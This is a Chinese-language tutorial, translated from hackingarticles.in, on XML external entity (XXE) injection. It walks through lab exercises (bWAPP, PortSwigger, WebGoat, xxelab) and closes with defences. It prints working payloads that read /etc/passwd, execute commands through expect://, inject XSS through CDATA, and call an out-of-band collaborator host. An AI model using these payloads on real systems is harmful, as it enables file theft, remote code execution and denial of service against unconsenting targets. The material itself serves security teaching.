XXE“葵花宝典”

  • A+

XXE(XML External Entity Injection) 又名 XML 外部实体注入,XML是Web开发中常用的一种标记性语言。这篇文章将分享攻击者怎样利用其中的漏洞来获取信息或者攻击Web应用。

0x00 XXE介绍概要:

  • XML简介——知己知彼
  • XXE简介——知己知彼
  • 危害——知己知彼
  • XXE与SSRF的联系
  • 本地文件
  • 远程文件
  • XXE“Billion Laugh”攻击(DOS)
  • 从文件上传到XXE
  • 从XXE到远程代码执行
  • XXE下的XSS
  • JSON+内容篡改=XXE
  • XXE盲注
  • 防御

0x01 XML简介

XML和实体是什么呢?

XML代表“可扩展标记语言”,多用于数据的传输和存储。是一种自我描述的语言。它不包含任何类似于\<p>和\<img>的预定义标签。所有标签都是用户定义的,取决于其要表示的数据,比如\<email>\</email>, \<message>\</message>等等。

0.png

  • 版本:用于指定使用哪个版本的XML标准。
  • 值:1.0
  • 编码:用于声明指定要使用的编码。XML中默认编码为UTF-8。
  • 值:UTF-8, UTF-16, ISO-10646-UCS-2, ISO-10646-UCS-4, Shift_JIS, ISO-2022-JP, ISO-8859-1 to ISO-8859-9, EUC-JP
  • 独立性:它用于告诉解析器文档是否具有到外部源的超链接或是否有对外部文档的引用。默认为“no”。
  • 值:yes,no

实体是什么?

XML实体就像编程语言中的变量一样。他们是标识XML文档中存在的数据的方式。XML语言中有各种内置实体,例如“\<”和“\>”,它们在XML语言中使用或多或少。所有这些元字符通常用数据中的实体表示。XML外部实体是位于DTD(Document Type Definition)外部的实体。

外部实体的声明需使用SYSTEM关键字,并且必须指定一个URL,从该URL中加载实体的值。例如

xml-dtd
<!ENTITY ignite SYSTEM "URL">

在这种语法中,Ignite是实体的名称,SYSTEM是关键字,URL是我们想要通过执行XXE攻击获得的URL。

什么是DTD(Document Type Definition)?

它用于声明XML文档的结构、可以包含的数据值的类型等。DTD可以存在于XML文件中或可以单独定义。 使用<!DOCTYPE>在XML的开头声明它。

DTD有几种类型,而我们感兴趣的是外部DTD。外部DTD有两种类型:

1.SYSTEM:系统标识符使我们能够指定包含DTD声明的外部文件位置。

xml-dtd
<!DOCTYPE ignite SYSTEM "URL" [...] >

2.PUBLIC:公共标识符提供了一种定位DTD资源的机制,其编写方式如下-

xml-dtd
<!DOCTYPE raj PUBLIC "URL"

如您所见,它以关键字PUBLIC开头,后跟一个专用标识符。 Public标识符用于标识目录中的条目。

0x02 XXE简介

XXE是一种对应用程序实施的攻击,目的是为了让目标能够成功解析XML输入。在此攻击中,包含对外部实体引用的XML输入会被存在配置缺陷的XML解析器处理。像跨站脚本攻击(XSS)一样,我们会尝试注入脚本,类似地在XXE中,我们会尝试插入XML实体以获取目标信息。

1.0.png

在此XML外部实体中,有效载荷(payload)被发送到服务器,服务器将数据发送到XML解析器,后者解析XML请求并将所需的输出提供给服务器。 然后,服务器将该输出返回给攻击者。

0X03 危害

XML外部实体(XXE)可以对公司或Web开发人员构成严重威胁。 XXE一直在OWASP TOP10中。 这是正常的,因为许多网站在字符串和数据传输中都使用XML,如果不采取对策,则一些关键信息将会存在威胁。 可能造成的攻击有:

  • 服务端请求伪造(SSRF,Server-Side Request Forgery)
  • DOS攻击
  • 远程代码执行(Remote Code Execution)
  • 跨站脚本攻击(XSS,Cross-Site Scripting)

XXE的CVSS(安全漏洞评分系统)评分为7.5,严重程度为“中”,其中

  • CWE-611:对XML外部实体的限制不当。
  • CVE-2019-12153:本地文件SSRF
  • CVE-2019-12154:远程文件SSRF
  • CVE-2018-1000838:“Billion Laugh”攻击
  • CVE-2019-0340:通过文件上传XXE

0X04 XXE与SSRF的联系

服务端请求伪造(SSRF)是一个WEB漏洞,hacker可以注入服务器端HTML代码来控制网站或将输出重定向到攻击者的服务器。SSRF的文件类型有:

本地文件:

这些是网站域中存在的文件,例如robots.txt,server-info等。接下来我们通过“bWAPP”设置low级别,来演示XXE攻击。

1.png

然后,我们启动BurpSuite,并在按下“任何错误”后进行拦截? 按钮,我们将在burp上获得以下输出:

2.png

我们可以看到没有用过滤器,因此可以使用XXE,我们将数据包发送到“repeater”选项卡,然后执行攻击。因为我们可以看到有两个0字段,即login和secret,所以我们将尝试知道哪个字段是漏洞点或者可实施注入。

因此,我们将对其进行如下测试:

3.png

在“repeater”栏中,我们发送默认请求,并在“response”栏观察输出

4.png

从响应中可看到“bee's secret has been reset”,似乎login字段可以进行注入,我们可以从bee中修改login字段来验证此猜想。

5.png

我们再次在响应栏中观察输出:

6.png

我们得到的输出是“ignite's secret has been reset!”,因此清晰地表明login字段可以进行注入。接下来我们将演示攻击。

现在我们知道了哪个地方是存在注入点,我们可以尝试获得robots.txt文件。为了实现这个目的,我们将用下面的payload

xml-dtd
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE reset [
<!ENTITY ignite SYSTEM "http://192.168.1.15/bWAPP/robots.txt">
]>
<reset><login>&ignite;</login><secret>Any bugs?</secret></reset>

payload解释:
我们声明了一个名为“reset”的文档类型,然后在其内部又声明了一个名为“ignite”的实体。 我们使用SYSTEM关键字,然后将URL指向robots.txt。 然后在login字段,我们输入“&ignite;” 来获取目标信息。

7.png

插入上面的代码后,我们单击send,然后会在response选项卡中得到如下输出:

8.png

在上面的输出中,我们可以看到robots.txt中的所有详细信息。 这告诉我们使用XXE可以对本地文件进行SSRF攻击。

9.0.png

现在让我们尝试了解其工作原理: 首先,我们注入payload,并将其传递给服务器,并且由于没有过滤器来避免XXE,服务器会将请求发送到XML解析器,然后返回已解析的XML文件的输出。 在这种情况下,robots.txt是使用XML查询泄露给攻击者的。

远程文件:

这些文件是攻击者注入远程主机的恶意脚本以获取管理员访问权限或重要信息的文件。 我们将通过输入以下命令尝试获取/etc/passwd。

xml-dtd
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE reset [
<!ENTITY ignite SYSTEM "file:///etc/passwd">
]><reset><login>&ignite;</login><secret>Any bugs?</secret></reset>

9.png

输入上述命令后,我们一按下“Send”按钮后就会通过响应看到passwd文件!

10.png

0x06 XXE"Billion Laugh"攻击(DOS)

这些针对的是XML解析器,其中格式正确和有效的XML数据在解析时都会破坏系统资源。 此攻击也称为XML炸弹(XML bomb)或XML DoS(XML DoS)或指数实体扩展(exponential entity expansion)攻击。

在进行攻击之前,让我们明白它为什么被称为“十亿笑攻击(Billion Laugh Attack)”?

“第一次进行此攻击时,攻击者使用lol(Laugh(ing) Out Loud)作为实体数据,并在以下几个实体中多次调用它。 执行过程花费了成倍的时间,其结果是成功的DoS攻击使网站瘫痪。 由于使用了lol并多次调用,导致数十亿次请求,因此我们将其命名为‘Billion Laugh Attack’。“

11.0.png

payload解析:

在这里,我们看到在1处我们声明了一个名为“ ignite”的实体,然后在其他几个实体中调用ignite,从而形成了一连串的回调,这将使服务器超载。 在2处,我们将实体称为“&ignite9;”。 我们将ignite9而不是ignite称为ignite9,因为ignite9多次调用ignite8,并且每次ignite8又会调用ignite7,依此类推。 因此,该请求将花费大量时间执行,结果该网站将宕机。

上面的命令导致DoS攻击,我们得到的输出是:

11.png

现在,在输入XML命令之后,我们将在响应栏中看不到任何输出,并且无法访问“bee box”,它宕机了。

12.png

0x07 从文件上传到XXE

XXE可以使用文件上传方法执行。 我们将在Port Swigger Lab“通过图片上传利用XXE”中进行演示。 我们将使用的payload是:

xml-dtd
<?XML version="1.0" standalone="yes"?>
<!DOCTYPE reset [
<!ENTITY xxe SYSTEM "file:///etc/hostname"> ] >
<svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
<text font-size="40" x="0" y="100">&xxe;</text>
</svg>

payload解析:

我们将制作SVG文件,因为上传区域仅接受图像文件。 上面给出了SVG文件的基本语法,其中,我们添加了一个文本字段,

我们将上面的代码保存为“ payload.svg”。 现在在port swigger上,我们将继续发表一个评论(Comment),然后将制作的payload添加到“头像(Avatar)”字段中。

13.png

现在,我们通过点击“发表评论(Post Comment)”按钮来发表评论。 之后,我们访问发表评论的帖子,并在“comments”部分中看到评论。

14.png

让我们查看页面源代码,以找到我们发布的评论。 你会发现与我在下面得到的内容有些相似

15.png

我们单击上面的链接,我们将在新窗口中拿到flag,如下所示:

16.png

可以通过提交flag来验证,我们拿到了目标信息。

17.png

18.png

19.png

整体回顾:综上,当我们将payload上传到“头像(Avatar)”字段并填写所有其他字段时,我们的评论也会显示在帖子中。 查看页面源代码后,我们获取到文件上传的路径。 我们注意该字段,因为我们的XXE payload位于该SVG文件中,并且它将包含我们想要的信息,在这种情况下,我们想要的是“ /etc/domain”。 单击该链接后,我们可以查看信息。

0x08 从XXE到远程代码执行

远程执行代码是一个非常严重的Web应用程序漏洞。 这样,攻击者便可以将其恶意代码注入服务器,以获取关键信息。 为了演示这种攻击,我使用XXE LAB。 我们将按照以下步骤下载该lab环境并在Linux机器上运行它:

xml-dtd
git clone https://github.com/jbarone/xxelab.git
cd xxelab
vagrant up

在终端中,我们将获得一些类似的输出,如下所示:

20.png

然后可以准备使用了,我们打开浏览器并输入:http://192.168.33.10/,我们将看到该站点如下所示:

21.png

我们输入详细信息,并使用Burp Suite拦截请求。 在Burp Suite中,我们将看到以下请求:

22.png

我们把这个请求发送到“repeater”,我们将看到哪个字段易受攻击。 因此,首先,我们将按原样发送请求并观察“response”选项卡:

23.png

我们可以注意到,我们仅看到电子邮件,因此我们在请求中替换成另一个字符串,以确认该字段是否是所有字段中的易受攻击的字段。

24.png

从上面的屏幕截图中可以明显看出,电子邮件字段容易受到攻击。 现在,我们输入payload:

xml-dtd
<!DOCTYPE root [
<!ENTITY ignite SYSTEM "expect://id"> ]>

先理解一下payload:

我们创建了一个名为“root”的文档类型,并在其下创建了一个名为“ ignite”的实体,要求输入“expect://id”。 如果“expect”协议在php页面中被接受,则可以执行远程代码。 我们想要获取id,因此在这里使用“id”。

我们可以看到我们成功获取了uid,gid和组号。 这证明在这种情况下,我们的远程代码执行成功。

25.png

0X09 XXE下的XSS

如今,我们可以看到脚本被Web应用程序过滤,不过有一种方法可以绕过这一点。 我们可以使用XML的CDATA进行这种攻击。 在第12小节(防御)中,我们也提到了CDATA。 我们用上述XXE lab来执行XSS。 因此,我们已经有了与上次攻击相同的被拦截请求,并且我们知道电子邮件字段易受攻击,因此我们只需要将payload注入该字段中。 我们将使用的payload如下:

xml-dtd
<![CDATA[<]]>img src="" onerror=javascript:alert(1)<![CDATA[>]]>

payload解析:

众所周知,在大多数输入字段中,“<”和“>”会被过滤,因此我们将其包含在CDATA中。 CDATA是字符数据,并且XML解析器不会解析CDATA中的数据,而是将其粘贴到输出中。

让我们看看这种攻击效果:

我们在email字段之间输入上述payload,并在“response”选项卡中观察输出。

1 1.png

我们可以看到我们的脚本中已经嵌入了image标签。 我们右键单击它,然后选择“在浏览器中显示响应(Show response in browser)”选项

2 1.png

我们复制上面的链接并将其粘贴到浏览器中,我们将看到一个警告框,显示“ 1”,如下面的屏幕截图所示。

3 1.png

因此,该屏幕截图结果已经真相大白了,我们能够借助XML实施XSS攻击

0X10 JSON+内容篡改=XXE

JSON是JavaScript对象表示法(JavaScript Object Notation),它也用于存储和传输XML之类的数据。 我们可以将JSON转换为XML,仍然可以获取相同的输出或者用它获得关键目标信息。 我们还可以通过内容篡改,以使XML可以被接受。 为了达到这种目的我们将用WebGoat。 我们接下来在WebGoat中演示这种XXE攻击。

4 1.png

5 1.png

我们可以看到类似于上图的请求。 我们更改其content-type字段,并用XML代码替换JSON。 我们将使用的XML代码是:

xml-dtd
<?xml?>
<!DOCTYPE root [
<!ENTITY ignite SYSTEM "file:///">
]>
<comment>
<text>
&ignite;
</text>
</comment>

6 1.png

我们将观察到我们的评论会与根目录文件一起发布。

7 1.png

综上,我们学到了如何在JSON字段上执行XML注入,以及如何通过篡改XML的content-type来传递XML。

解释一下上面的过程:

JSON与XML语言相同,因此我们可以使用XML获得与JSON请求相同的输出。 在上面的代码中,我们看到JSON具有text值,因此我们用上述payload替换了JSON请求并获得了根目录的信息。 如果我们没有将其content-type更改为application/xml,那么XML请求将不会被传递。

0x11 XXE盲注

正如我们在上述所有的攻击中所看到的,我们可以通过各种方式知道哪个字段是有漏洞的。 但是,如果我们的输入会产生不同的输出时,则可以考虑使用XXE盲注。 我们将使用portswigger lab演示XXE盲注。 为此,我们将使用“burp collaborator”(该功能模块只在BurpSuite专业版提供)。 我们用名为“通过XML参数实体进行带外交互的XXE盲注(Blind XXE with out-of-band interaction via XML parameter Entities)”的实验室。 当我们访问该lab时,我们将看到如下页面:

8 1.png

我们单击“查看详细信息(View details)”,然后我们将被重定向到以下页面,其中我们需要拦截“检查库存(check stock)”请求。

9 1.png

我们将收到如下请求:

10 1.png

我们可以看到,如果我们正常发送请求,我们将获得库存数量。 然后我们从Burp菜单中启动“burp collaborator”,我们将看到以下窗口。

11 1.png

接着我们按下“复制到剪贴板(copy to clipboard)”按钮,以复制burp子域(brup subdomain),然后将其用在payload中。

我们将使用的payload如下:

xml-dtd
<!DOCTYPE stockCheck [
<!ENTITY % ignite SYSTEM "http://YOUR-SUBDOMAIN-HERE.burpcollaborator.net"> %ignite; ]>

然后我们在Burp Collaborator中看到,我们看到捕获了一些请求,这些请求表明我们已经成功执行了XXE盲注。

12 1.png

13 1.png

我们去验证我们的发现是正确的,并且在lab中我们将成功解决这个题。

14 1.png

0x12 防御

  • 防止XXE的最安全方法始终是完全禁用DTD(外部实体)。 取决于解析器,该方法应类似于以下内容:

xml-dtd
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);

  • 此外,可以通过禁用DTD来防止DoS攻击。 如果无法完全禁用DTD,则必须以特定于每个解析器的方式禁用外部实体和外部文档类型声明。
  • 另一种方法是使用CDATA忽略外部实体。 CDATA是字符数据,它提供了一个解析器不会解析的块。

xml-dtd
<data><!CDATA [ "'& > characters are ok in here] ]></data>

0x13 独家秘笈

东方不败仅习得葵花宝典残缺版,就能以一敌三,与令狐冲、任我行、向问天三大当世武林高手大战依旧大占上风。此功是(残本所录)是以“快”为主,令对手看不出破绽,没有还击的机会。抑或是快到就算被对手看出招式中的破绽,对方也来不及反击,破绽一闪即逝。

本文也是分享一些XXE利用的思路。对于日渐成熟的安全发展态势,渗透更多的还是需要综合能力,个人也好,团队也罢,擅长“组合拳”才是硬道理,1+1更多的时候终究还是大于2。

努力总结,热爱分享,各位看官加油。

==本文译自:https://www.hackingarticles.in/comprehensive-guide-on-xxe-injection/
原作者:RAJ CHANDEL==

==致敬所有对本文创作有贡献的人==